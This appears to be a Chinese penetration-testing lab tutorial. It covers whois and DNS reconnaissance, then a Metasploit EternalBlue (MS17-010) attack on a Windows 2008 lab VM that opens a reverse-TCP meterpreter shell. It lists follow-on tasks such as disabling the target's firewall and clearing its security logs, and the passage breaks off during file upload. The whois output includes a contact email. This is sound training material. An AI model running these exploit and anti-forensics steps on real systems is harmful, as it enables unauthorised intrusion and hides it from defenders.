1 DNS 信息收集
1.1 问题
本例要求熟悉 whois 信息搜集工具的使用,相关说明如下。
1)直接使用 whois 命令查询 12306.cn 域名的注册商、联系人
2)通过中国站长网的 whois 页面查询 12306.cn 域名的注册商、联系人
3)反查此域名的联系人还拥有哪些域名
1.2 步骤
实现此案例需要按照如下步骤进行。
步骤一:直接使用 whois 命令查询
使用 kali 中的 whois 命令查询:
1. ┌──(root💀kali)-\[~\]
2. └─# whois 12306.cn
3. Domain Name: 12306.cn
4. ROID: 20030310s10001s00012731-cn
5. Domain Status: serverDeleteProhibited
6. Domain Status: serverUpdateProhibited
7. Domain Status: serverTransferProhibited
8. Registrant: 中国铁道科学研究院集团有限公司
9. Registrant Contact Email: 13501238352@139.com
10. Sponsoring Registrar: 北京中科三方网络技术有限公司
11. Name Server: cns1.zdnscloud.net
12. Name Server: dns1.zdnscloud.info
13. Name Server: ins1.zdnscloud.com
14. Name Server: vns1.zdnscloud.biz
15. Registration Time: 2003-03-10 18:50:16
16. Expiration Time: 2029-01-13 14:16:31
17. DNSSEC: unsigned
步骤二:通过中国站长网查询
访问http://whois.chinaz.com/,通过中国站长网的 whois 查询,结果如图 - 1、图 - 2 所示。
图 - 1
图 - 2
步骤三:反查此域名的联系人还拥有哪些域名
在中国站长网的 whois 查询结果中,如图 - 1 所示,可以直接单击 “联系人:中国铁道科学研究院集团有限公司” 右侧的 “whois 反查” 链接,即可实现反查,结果如图 - 3 所示。
图 - 3
通过反查可以发现,由联系人 “中国铁道科学研究院集团有限公司” 注册的域名还包括 rails.cn、rails.com.cn 等等。
2 DNS 信息查询
2.1 问题
本例要求熟悉域名信息查询的常用工具,包括 host、nsloookup,相关说明如下。
首先使用 host 工具获取以下信息。
1)www.cisco.com 的原始域名、IP 地址
2)cisco.com 域的邮箱服务器,以及邮箱服务器的 IP 地址
然后再使用 nslookup 工具查询域名 www.12306.cn。
1)向 202.106.0.20 查询
2)向 8.8.8.8 查询,对比结果是否有差异
2.2 步骤
实现此案例需要按照如下步骤进行。
步骤一:使用 host 工具获取以下信息
1)www.cisco.com 的原始域名、IP 地址
直接用 host 查询域名 www.cisco.com:
1. ┌──(root💀kali)-\[~\]
2. └─# host www.cisco.com
3. www.cisco.com is an alias for www.cisco.com.akadns.net.
4. www.cisco.com.akadns.net is an alias for wwwds.cisco.com.edgekey.net.
5. wwwds.cisco.com.edgekey.net is an alias for wwwds.cisco.com.edgekey.net.globalredir.akadns.net.
6. wwwds.cisco.com.edgekey.net.globalredir.akadns.net is an alias for e2867.dsca.akamaiedge.net.
7. e2867.dsca.akamaiedge.net has address 104.71.157.187
8. e2867.dsca.akamaiedge.net has IPv6 address 2600:1406:e800:297::b33
9. e2867.dsca.akamaiedge.net has IPv6 address 2600:1406:e800:28d::b33
从结果中可以看到,域名 www.cisco.com 的原始域名为 wwwds.cisco.com.edgekey.net;而域名 wwwds.cisco.com.edgekey.net 的原始域名为 e2867.dsca.akamaiedge.net。
最终原始域名 e2867.dsca.akamaiedge.net 对应的 IPv4 地址为 104.71.157.187,对应的 IPv6 地址为 2600:1406:e800:297::b33。
2)cisco.com 域的邮箱服务器,以及邮箱服务器的 IP 地址
直接用 host 查询域名 cisco.com 的 mx 记录:
1. ┌──(root💀kali)-\[~\]
2. └─# host -t mx cisco.com
3. cisco.com mail is handled by 30 aer-mx-01.cisco.com.
4. cisco.com mail is handled by 20 rcdn-mx-01.cisco.com.
5. cisco.com mail is handled by 10 alln-mx-01.cisco.com.
从结果反馈可看出,DNS 区域 cisco.com 提供了 3 台邮件服务器,分别是 alln-mx-01.cisco.com、rcdn-mx-01.cisco.com、aer-mx-01.cisco.com。
进一步查询这几个邮件服务器域名的 IP 地址,结果如下:
1. ┌──(root💀kali)-\[~\]
2. └─# host alln-mx-01.cisco.com
3. alln-mx-01.cisco.com has address 173.37.147.230
4. alln-mx-01.cisco.com has IPv6 address 2001:420:1201:6::ad25:93e6
6. ┌──(root💀kali)-\[~\]
7. └─# host rcdn-mx-01.cisco.com
8. rcdn-mx-01.cisco.com has address 72.163.7.166
10. ┌──(root💀kali)-\[~\]
11. └─# host aer-mx-01.cisco.com
12. aer-mx-01.cisco.com has address 173.38.212.150
13. aer-mx-01.cisco.com has IPv6 address 2001:420:4621::ad26:d496
步骤二:使用 nslookup 工具查询域名 www.12306.cn
1)对比 host 查询结果
针对同一个域名,host 查询结果更加简洁:
1. ┌──(root💀kali)-\[~\]
2. └─# host www.12306.cn
3. www.12306.cn is an alias for www.12306.cn.lxdns.com.
4. www.12306.cn.lxdns.com has address 61.147.106.19
5. www.12306.cn.lxdns.com has address 61.147.112.188
而 nslookup 查询结果更加详细:
1. ┌──(root💀kali)-\[~\]
2. └─# nslookup www.12306.cn
3. Server: 192.168.10.2
4. Address: 192.168.10.2#53
6. Non-authoritative answer:
7. www.12306.cn canonical name = www.12306.cn.lxdns.com.
8. Name: www.12306.cn.lxdns.com
9. Address: 61.147.112.188
10. Name: www.12306.cn.lxdns.com
11. Address: 61.147.106.19
2)分别向 8.8.8.8、223.5.5.5. 查询
向 8.8.8.8 查询:
1. ┌──(root💀kali)-\[~\]
2. └─# nslookup www.12306.cn 8.8.8.8
3. Server: 8.8.8.8
4. Address: 8.8.8.8#53
6. Non-authoritative answer:
7. www.12306.cn canonical name = www.12306.cn.lxdns.com.
8. Name: www.12306.cn.lxdns.com
9. Address: 117.27.241.251
10. Name: www.12306.cn.lxdns.com
11. Address: 113.142.80.253
向 223.5.5.5 查询:
1. ┌──(root💀kali)-\[~\]
2. └─# nslookup www.12306.cn 223.5.5.5
3. Server: 223.5.5.5
4. Address: 223.5.5.5#53
6. Non-authoritative answer:
7. www.12306.cn canonical name = www.12306.cn.lxdns.com.
8. Name: www.12306.cn.lxdns.com
9. Address: 101.28.249.253
10. Name: www.12306.cn.lxdns.com
11. Address: 124.167.240.221
3 MSF 控制台
3.1 问题
本例要求进入 kali 系统中的 msfconsole 控制台,熟悉 MSF 漏洞检测框架中的基本操作,相关说明如下。
1)列出所有的 auxiliary 模块,列出所有的 exploit 模块
2)查看 show 指令的帮助
3)搜索 EternalBlue 相关的辅助模块 / 攻击模块
4)使用其中的 exploit/windows/smb/ms17_010_eternalblue 模块
5)设置目标主机为 192.168.10.128
6)发起攻击,观察结果
7)退出 msfconsole 控制台
3.2 步骤
实现此案例需要按照如下步骤进行。
步骤一:进入 MSF 控制台
直接在命令行窗口执行 msfconsole 命令,稍等片刻,即可打开 MSF 控制台。
1. ┌──(kali㉿kali)-\[~\]
2. └─$ msfconsole
4. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
5. %% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
6. %% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
7. %% % %%%%%%%% %%%%%%%%%%% https:
8. %% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
9. %% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
10. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
11. %%%%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
12. %%%% %% %%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% %%%%%
13. %%%% %% %% % %% %% %%%%% % %%%% %% %%%%%% %%
14. %%%% %% %% % %%% %%%% %%%% %% %%%% %%%% %% %% %% %%% %% %%% %%%%%
15. %%%% %%%%%% %% %%%%%% %%%% %%% %%%% %% %% %%% %%% %% %% %%%%%
16. %%%%%%%%%%%% %%%% %%%%% %% %% % %% %%%% %%%% %%% %%% %
17. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%% %%%%%%%%%%%%%%
18. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%
19. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
22. =\[ metasploit v6.0.30-dev \]
23. + -- --=\[ 2099 exploits - 1129 auxiliary - 357 post \]
24. + -- --=\[ 592 payloads - 45 encoders - 10 nops \]
25. + -- --=\[ 7 evasion \]
27. Metasploit tip: View a module's description using
28. info, or the enhanced version in your browser with
29. info -d
31. msf6 >
步骤二:使用 MSF 控制台
1)列出所有的 auxiliary 模块,列出所有的 exploit 模块
列出所有的 auxiliary 模块
1. msf6 > show auxiliary
2. .. ..
3. 1110 sqli/oracle/lt_compressworkspace 2008-10-13 normal No Oracle DB SQL Injection via SYS.LT.COMPRESSWORKSPACE
4. 1111 sqli/oracle/lt\_findricset\_cursor 2007-10-17 normal No Oracle DB SQL Injection via SYS.LT.FINDRICSET Evil Cursor Method
5. 1112 sqli/oracle/lt_mergeworkspace 2008-10-22 normal No Oracle DB SQL Injection via SYS.LT.MERGEWORKSPACE
6. 1113 sqli/oracle/lt_removeworkspace 2008-10-13 normal No Oracle DB SQL Injection via SYS.LT.REMOVEWORKSPACE
7. 1114 sqli/oracle/lt_rollbackworkspace 2009-05-04 normal No Oracle DB SQL Injection via SYS.LT.ROLLBACKWORKSPACE
8. 1115 voip/asterisk_login normal No Asterisk Manager Login Utility
9. 1116 voip/cisco\_cucdm\_call_forward normal No Viproy CUCDM IP Phone XML Services - Call Forwarding Tool
10. 1117 voip/cisco\_cucdm\_speed_dials normal No Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool
11. 1118 voip/sip_deregister normal No SIP Deregister Extension
12. 1119 voip/sip\_invite\_spoof normal No SIP Invite Spoof
13. 1120 voip/telisca\_ips\_lock_control 2015-12-17 normal No Telisca IPS Lock Cisco IP Phone Control
14. 1121 vsploit/malware/dns/dns_mariposa normal No VSploit Mariposa DNS Query Module
15. 1122 vsploit/malware/dns/dns_query normal No VSploit DNS Beaconing Emulation
16. 1123 vsploit/malware/dns/dns_zeus normal No VSploit Zeus DNS Query Module
17. 1124 vsploit/pii/email_pii normal No VSploit Email PII
18. 1125 vsploit/pii/web_pii normal No VSploit Web PII
列出所有的 exploit 模块
1. msf6 > show exploit
2. .. ..
3. 2080 windows/tftp/attftp\_long\_filename 2006-11-27 average No Allied Telesyn TFTP Server 1.9 Long Filename Overflow
4. 2081 windows/tftp/distinct\_tftp\_traversal 2012-04-08 excellent No Distinct TFTP 3.10 Writable Directory Traversal Execution
5. 2082 windows/tftp/dlink\_long\_filename 2007-03-12 good No D-Link TFTP 1.0 Long Filename Buffer Overflow
6. 2083 windows/tftp/futuresoft_transfermode 2005-05-31 average No FutureSoft TFTP Server 2000 Transfer-Mode Overflow
7. 2084 windows/tftp/netdecision\_tftp\_traversal 2009-05-16 excellent No NetDecision 4.2 TFTP Writable Directory Traversal Execution
8. 2085 windows/tftp/opentftp\_error\_code 2008-07-05 average No OpenTFTP SP 1.4 Error Packet Overflow
9. 2086 windows/tftp/quick\_tftp\_pro_mode 2008-03-27 good No Quick FTP Pro 2.1 Transfer-Mode Overflow
10. 2087 windows/tftp/tftpd32\_long\_filename 2002-11-19 average No TFTPD32 Long Filename Buffer Overflow
11. 2088 windows/tftp/tftpdwin\_long\_filename 2006-09-21 great No TFTPDWIN v0.4.2 Long Filename Buffer Overflow
12. 2089 windows/tftp/tftpserver\_wrq\_bof 2008-03-26 normal No TFTP Server for Windows 1.4 ST WRQ Buffer Overflow
13. 2090 windows/tftp/threectftpsvc\_long\_mode 2006-11-27 great No 3CTftpSvc TFTP Long Mode Buffer Overflow
14. 2091 windows/unicenter/cam\_log\_security 2005-08-22 great Yes CA CAM log_security() Stack Buffer Overflow (Win32)
15. 2092 windows/vnc/realvnc_client 2001-01-29 normal No RealVNC 3.3.7 Client Buffer Overflow
16. 2093 windows/vnc/ultravnc_client 2006-04-04 normal No UltraVNC 1.0.1 Client Buffer Overflow
17. 2094 windows/vnc/ultravnc\_viewer\_bof 2008-02-06 normal No UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow
18. 2095 windows/vnc/winvnc\_http\_get 2001-01-29 average No WinVNC Web Server GET Overflow
19. 2096 windows/vpn/safenet\_ike\_11 2009-06-01 average No SafeNet SoftRemote IKE Service Buffer Overflow
20. 2097 windows/winrm/winrm\_script\_exec 2012-11-01 manual No WinRM Script Exec Remote Code Execution
21. 2098 windows/wins/ms04\_045\_wins 2004-12-14 great Yes MS04-045 Microsoft WINS Service Memory Overwrite
2)查看 show 指令的帮助
1. msf6 > ? show
2. \[*\] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options
3. \[*\] Additional module-specific parameters are: missing, advanced, evasion, targets, actions
5. msf6 >
3)搜索 EternalBlue 相关的辅助模块 / 攻击模块
1. msf6 > search EternalBlue
3. Matching Modules
4. ================
6. # Name Disclosure Date Rank Check Description
7. - \-\-\-\- \-\-\-\-\-\-\-\-\-\-\-\-\-\-\- \-\-\-\- \-\-\-\-\- \-\-\-\-\-\-\-\-\-\-\-
8. 0 auxiliary/admin/smb/ms17\_010\_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
9. 1 auxiliary/scanner/smb/smb\_ms17\_010 normal No MS17-010 SMB RCE Detection
10. 2 exploit/windows/smb/ms17\_010\_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
11. 3 exploit/windows/smb/ms17\_010\_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
12. 4 exploit/windows/smb/ms17\_010\_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
13. 5 exploit/windows/smb/smb\_doublepulsar\_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
16. Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/smb/smb\_doublepulsar\_rce
18. msf6 >
4)使用其中的 exploit/windows/smb/ms17_010_eternalblue 模块
1. msf6 > use exploit/windows/smb/ms17\_010\_eternalblue
2. \[*\] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
3. msf6 exploit(windows/smb/ms17\_010\_eternalblue) >
5)设置目标主机为 192.168.10.128
1. msf6 exploit(windows/smb/ms17\_010\_eternalblue) > set rhosts 192.168.10.128
2. rhosts => 192.168.10.128
6)发起攻击,观察结果
当目标主机不可用时,漏洞利用测试会失败。
1. msf6 exploit(windows/smb/ms17\_010\_eternalblue) > run
3. \[*\] Started reverse TCP handler on 192.168.10.211:4444
4. \[*\] 192.168.10.128:445 - Executing automatic check (disable AutoCheck to override)
5. \[*\] 192.168.10.128:445 - Using auxiliary/scanner/smb/smb\_ms17\_010 as check
6. \[*\] 192.168.10.128:445 - Scanned 1 of 1 hosts (100% complete)
7. \[-\] 192.168.10.128:445 - Exploit aborted due to failure: unknown: Cannot reliably check exploitability. Enable ForceExploit to override check result.
8. \[*\] Exploit completed, but no session was created.
步骤三:退出 msfconsole 控制台
1. msf6 exploit(windows/smb/ms17\_010\_eternalblue) > quit
3. ┌──(kali㉿kali)-\[~\]
4. └─$
4 ms17-010 漏洞攻击
4.1 问题
本例要求从 kali 主机验证对 win2008 靶机的漏洞利用,完成 ms17-010 的漏洞检测,相关说明如下。
1)扫描并确认目标主机
2)执行 msfconsole 进入 MSF 控制台
3)搜索 ms17-010 攻击模块
4)使用合适的攻击模块 exploit/windows/smb/ms17_010_eternalblue
5)设置目标主机、本地主机参数
6)发起漏洞利用攻击,确认结果为 “WIN” 状态
4.2 步骤
实现此案例需要按照如下步骤进行。
步骤一:准备漏洞利用靶场环境
1)测试机:kali2021(192.168.10.211),利用 MSF 漏洞检测框架。
2)靶机:win2008(192.168.10.128),已开放 445 端口。
步骤二:通过 MSF 控制台执行 ms17-010 漏洞攻击
1)扫描并确认目标主机
使用 nmap 工具探测操作系统时,注意要以 root 权限执行,否则会报错 “TCP/IP fingerprinting (for OS scan) requires root privileges.”。
1. ┌──(root💀kali)-\[~\]
2. └─# nmap -O 192.168.10.128
3. Starting Nmap 7.91 ( https:
4. Nmap scan report for 192.168.10.128
5. Host is up (0.00032s latency).
6. Not shown: 990 closed ports
7. PORT STATE SERVICE
8. 135/tcp open msrpc
9. 139/tcp open netbios-ssn
10. 445/tcp open microsoft-ds
11. 3389/tcp open ms-wbt-server
12. 49152/tcp open unknown
13. 49153/tcp open unknown
14. 49154/tcp open unknown
15. 49155/tcp open unknown
16. 49156/tcp open unknown
17. 49157/tcp open unknown
18. MAC Address: 00:0C:29:AF:D9:F8 (VMware)
19. Device type: general purpose
20. Running: Microsoft Windows 7|2008|8.1
21. OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows\_server\_2008::sp1 cpe:/o:microsoft:windows\_server\_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
22. OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
23. Network Distance: 1 hop
25. OS detection performed. Please report any incorrect results at https:
26. Nmap done: 1 IP address (1 host up) scanned in 3.25 seconds
2)执行 msfconsole 进入 MSF 控制台
1. ┌──(kali㉿kali)-\[~\]
2. └─$ msfconsole
5. _---------.
6. .' ####### ;."
7. .---,. ;@ @@`; .---,..
8. ." @@@@@'.,'@@ @@@@@',.'@@@@ ".
9. '-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @;
10. `.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .'
11. "--'.@@@ -.@ @ ,'\- .'--"
12. ".@' ; @ @ `. ;'
13. |@@@@ @@@ @ .
14. ' @@@ @@ @@ ,
15. `.@@@@ @@ .
16. ',@@ @ ; _____________
17. ( 3 C ) /|__\_ / Metasploit! \
18. ;@'. __*__,." \\|--\- \\_____________/
19. '(.,...."/
22. =\[ metasploit v6.0.30-dev \]
23. \+ \-\- --=\[ 2099 exploits - 1129 auxiliary - 357 post \]
24. \+ \-\- --=\[ 592 payloads - 45 encoders - 10 nops \]
25. \+ \-\- --=\[ 7 evasion \]
27. Metasploit tip: Enable HTTP request and response logging
28. with set HttpTrace true
30. msf6 >
3)搜索 ms17-010 攻击模块
1. msf6 > search ms17-010 type:exploit
3. Matching Modules
4. ================
6. # Name Disclosure Date Rank Check Description
7. - \-\-\-\- \-\-\-\-\-\-\-\-\-\-\-\-\-\-\- \-\-\-\- \-\-\-\-\- \-\-\-\-\-\-\-\-\-\-\-
8. 0 exploit/windows/smb/ms17\_010\_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
9. 1 exploit/windows/smb/ms17\_010\_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
10. 2 exploit/windows/smb/ms17\_010\_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11. 3 exploit/windows/smb/smb\_doublepulsar\_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
14. Interact with a module by name or index. For example info 3, use 3 or use exploit/windows/smb/smb\_doublepulsar\_rce
16. msf6 >
4)使用合适的攻击模块 exploit/windows/smb/ms17_010_eternalblue
选择此攻击模块后,默认使用 reverse_tcp 反弹载荷。
1. msf6 > use exploit/windows/smb/ms17\_010\_eternalblue
2. \[*\] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
3. msf6 exploit(windows/smb/ms17\_010\_eternalblue) >
5)设置目标主机、本地主机参数
1. msf6 exploit(windows/smb/ms17\_010\_eternalblue) > set rhost 192.168.10.128
2. rhost => 192.168.10.128
3. msf6 exploit(windows/smb/ms17\_010\_eternalblue) > set lhost 192.168.10.211
4. lhost => 192.168.10.211
6. msf6 exploit(windows/smb/ms17\_010\_eternalblue) >
6)发起漏洞利用攻击,确认结果为 “WIN” 状态
执行 run 或者 exploit 都可以,表示运行当前的漏洞测试模块。
1. msf6 exploit(windows/smb/ms17\_010\_eternalblue) > run
3. \[*\] Started reverse TCP handler on 192.168.10.211:4444
4. \[*\] 192.168.10.128:445 - Executing automatic check (disable AutoCheck to override)
5. \[*\] 192.168.10.128:445 - Using auxiliary/scanner/smb/smb\_ms17\_010 as check
6. \[+\] 192.168.10.128:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
7. \[*\] 192.168.10.128:445 - Scanned 1 of 1 hosts (100% complete)
8. \[+\] 192.168.10.128:445 - The target is vulnerable.
9. \[*\] 192.168.10.128:445 - Using auxiliary/scanner/smb/smb\_ms17\_010 as check
10. \[+\] 192.168.10.128:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
11. \[*\] 192.168.10.128:445 - Scanned 1 of 1 hosts (100% complete)
12. \[*\] 192.168.10.128:445 - Connecting to target for exploitation.
13. \[+\] 192.168.10.128:445 - Connection established for exploitation.
14. \[+\] 192.168.10.128:445 - Target OS selected valid for OS indicated by SMB reply
15. \[*\] 192.168.10.128:445 - CORE raw buffer dump (53 bytes)
16. \[*\] 192.168.10.128:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
17. \[*\] 192.168.10.128:445 - 0x00000010 30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73 008 R2 Enterpris
18. \[*\] 192.168.10.128:445 - 0x00000020 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50 e 7601 Service P
19. \[*\] 192.168.10.128:445 - 0x00000030 61 63 6b 20 31 ack 1
20. \[+\] 192.168.10.128:445 - Target arch selected valid for arch indicated by DCE/RPC reply
21. \[*\] 192.168.10.128:445 - Trying exploit with 12 Groom Allocations.
22. \[*\] 192.168.10.128:445 - Sending all but last fragment of exploit packet
23. \[*\] 192.168.10.128:445 - Starting non-paged pool grooming
24. \[+\] 192.168.10.128:445 - Sending SMBv2 buffers
25. \[+\] 192.168.10.128:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
26. \[*\] 192.168.10.128:445 - Sending final SMBv2 buffers.
27. \[*\] 192.168.10.128:445 - Sending last fragment of exploit packet!
28. \[*\] 192.168.10.128:445 - Receiving response from exploit packet
29. \[+\] 192.168.10.128:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
30. \[*\] 192.168.10.128:445 - Sending egg to corrupted connection.
31. \[*\] 192.168.10.128:445 - Triggering free of corrupted buffer.
32. \[*\] Sending stage (200262 bytes) to 192.168.10.128
33. \[*\] Meterpreter session 1 opened (192.168.10.211:4444 -> 192.168.10.128:49163) at 2021-11-25 11:01:10 +0800
34. \[+\] 192.168.10.128:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
35. \[+\] 192.168.10.128:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
36. \[+\] 192.168.10.128:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
38. meterpreter >
最终可看到 “WIN” 字样,表示已经成功利用漏洞入侵到目标 win2008 主机,后续可执行进一步的攻击操作。
5 漏洞攻击的典型危害
5.1 问题
本例要求从 kali 测试机攻入 win2008 靶机以后,进一步熟悉典型的攻击操作,了解漏洞攻击带来的典型危害,相关说明如下。
首先,当 kali 主机取得靶机的控制以后,完成以下任务完成以下任务。
1)查看靶机 c:\ 、c:\windows 下的资源,创建 c:\ms17 目录
2)上传 / etc/resolv.conf 文件到靶机的 c:\ms17 目录
3)对靶机执行截屏、录屏操作
4)关闭靶机上的防火墙
5)清除靶机上的安全事件日志
然后,为 win2008 靶机安装漏洞补丁,主要包括 KB976932(SP1)、KB4012212、KB4012215。再次从 MSF 框架执行漏洞攻击,确保已经无效(漏洞已修补)。
5.2 步骤
实现此案例需要按照如下步骤进行。
步骤一:在 kali 测试机上执行攻击操作
1)查看靶机 c:\ 、c:\windows 下的资源,创建 c:\ms17 目录
切换到 C:\位置,并查看目录下的资源:
1. meterpreter > cd /
2. meterpreter > pwd
3. C:\
4. meterpreter > ls
5. Listing: C:\
6. ============
8. Mode Size Type Last modified Name
9. \-\-\-\- \-\-\-\- \-\-\-\- \-\-\-\-\-\-\-\-\-\-\-\-\- \-\-\-\-
10. 40777/rwxrwxrwx 0 dir 2009-07-14 11:18:56 +0800 $Recycle.Bin
11. 40777/rwxrwxrwx 0 dir 2009-07-14 13:06:44 +0800 Documents and Settings
12. 40777/rwxrwxrwx 0 dir 2009-07-14 11:20:08 +0800 PerfLogs
13. 40555/r-xr-xr-x 4096 dir 2009-07-14 11:20:08 +0800 Program Files
14. 40555/r-xr-xr-x 4096 dir 2009-07-14 11:20:08 +0800 Program Files (x86)
15. 40777/rwxrwxrwx 4096 dir 2009-07-14 11:20:08 +0800 ProgramData
16. 40777/rwxrwxrwx 0 dir 2020-03-11 19:16:20 +0800 Recovery
17. 40777/rwxrwxrwx 4096 dir 2020-03-11 19:13:10 +0800 System Volume Information
18. 40555/r-xr-xr-x 4096 dir 2009-07-14 11:20:08 +0800 Users
19. 40777/rwxrwxrwx 16384 dir 2009-07-14 11:20:08 +0800 Windows
20. 0000/--------- 3963520 fif 1971-10-05 13:46:40 +0800 pagefile.sys
21. .. ..
23. meterpreter >
切换到 c:\windows 目录,再次确认资源:
1. meterpreter > cd /windows
2. meterpreter > pwd
3. c:\windows
4. meterpreter > ls
5. Listing: c:\windows
6. ===================
8. Mode Size Type Last modified Name
9. \-\-\-\- \-\-\-\- \-\-\-\- \-\-\-\-\-\-\-\-\-\-\-\-\- \-\-\-\-
10. 40777/rwxrwxrwx 0 dir 2009-07-14 11:20:08 +0800 AppCompat
11. 40777/rwxrwxrwx 4096 dir 2009-07-14 11:20:08 +0800 AppPatch
12. 40777/rwxrwxrwx 0 dir 2009-07-14 11:20:09 +0800 Boot
13. 40777/rwxrwxrwx 0 dir 2009-07-14 11:20:09 +0800 Branding
14. 40777/rwxrwxrwx 0 dir 2009-07-14 11:20:09 +0800 Cursors
15. 40777/rwxrwxrwx 0 dir 2009-07-14 13:41:18 +0800 DigitalLocker
16. 40777/rwxrwxrwx 0 dir 2009-07-14 13:37:10 +0800 Downloaded Program Files
17. 100666/rw-rw-rw- 1774 fil 2009-07-14 12:49:53 +0800 DtcInstall.log
18. 40555/r-xr-xr-x 98304 dir 2009-07-14 11:20:09 +0800 Fonts
19. 40777/rwxrwxrwx 0 dir 2009-07-14 11:20:09 +0800 Globalization
20. 40777/rwxrwxrwx 0 dir 2009-07-14 11:20:09 +0800 Help
21. .. ..
22. 40777/rwxrwxrwx 0 dir 2009-07-14 11:20:10 +0800 system
23. 100666/rw-rw-rw- 219 fil 2009-07-14 10:34:57 +0800 system.ini
24. 40777/rwxrwxrwx 0 dir 2009-07-14 11:20:14 +0800 tracing
25. 100666/rw-rw-rw- 92 fil 2009-07-14 10:34:57 +0800 win.ini
26. 100777/rwxrwxrwx 9728 fil 2009-07-14 08:12:29 +0800 winhlp32.exe
27. 40777/rwxrwxrwx 9437184 dir 2009-07-14 11:20:15 +0800 winsxs
28. 100777/rwxrwxrwx 10240 fil 2009-07-14 07:56:28 +0800 write.exe
29. 40777/rwxrwxrwx 4096 dir 2009-07-14 15:34:06 +0800 zh-CN
31. meterpreter >
创建 c:\ms17 目录:
1. meterpreter > mkdir c:/ms17 //创建指定的新目录
2. Creating directory: c:/ms17
3. meterpreter > ls c:/ //检查目录是否创建成功
4. Listing: c:/
5. ============
7. Mode Size Type Last modified Name
8. \-\-\-\- \-\-\-\- \-\-\-\- \-\-\-\-\-\-\-\-\-\-\-\-\- \-\-\-\-
9. 40777/rwxrwxrwx 0 dir 2009-07-14 11:18:56 +0800 $Recycle.Bin
10. 40777/rwxrwxrwx 0 dir 2009-07-14 13:06:44 +0800 Documents and Settings
11. 40777/rwxrwxrwx 0 dir 2009-07-14 11:20:08 +0800 PerfLogs
12. 40555/r-xr-xr-x 4096 dir 2009-07-14 11:20:08 +0800 Program Files
13. 40555/r-xr-xr-x 4096 dir 2009-07-14 11:20:08 +0800 Program Files (x86)
14. 40777/rwxrwxrwx 4096 dir 2009-07-14 11:20:08 +0800 ProgramData
15. 40777/rwxrwxrwx 0 dir 2020-03-11 19:16:20 +0800 Recovery
16. 40777/rwxrwxrwx 4096 dir 2020-03-11 19:13:10 +0800 System Volume Information
17. 40555/r-xr-xr-x 4096 dir 2009-07-14 11:20:08 +0800 Users
18. 40777/rwxrwxrwx 16384 dir 2009-07-14 11:20:08 +0800 Windows
19. 40777/rwxrwxrwx 0 dir 2021-11-25 13:32:50 +0800 ms17
20. 0000/--------- 3963520 fif 1971-10-05 13:46:40 +0800 pagefile.sys
21. .. ..
22. meterpreter >
2)上传 / etc/resolv.conf 文件到靶机的 c:\ms17 目录
1. meterpreter > cd c:/ms17 //切换到目的地目录
2. meterpreter > pwd
3. c:\ms17
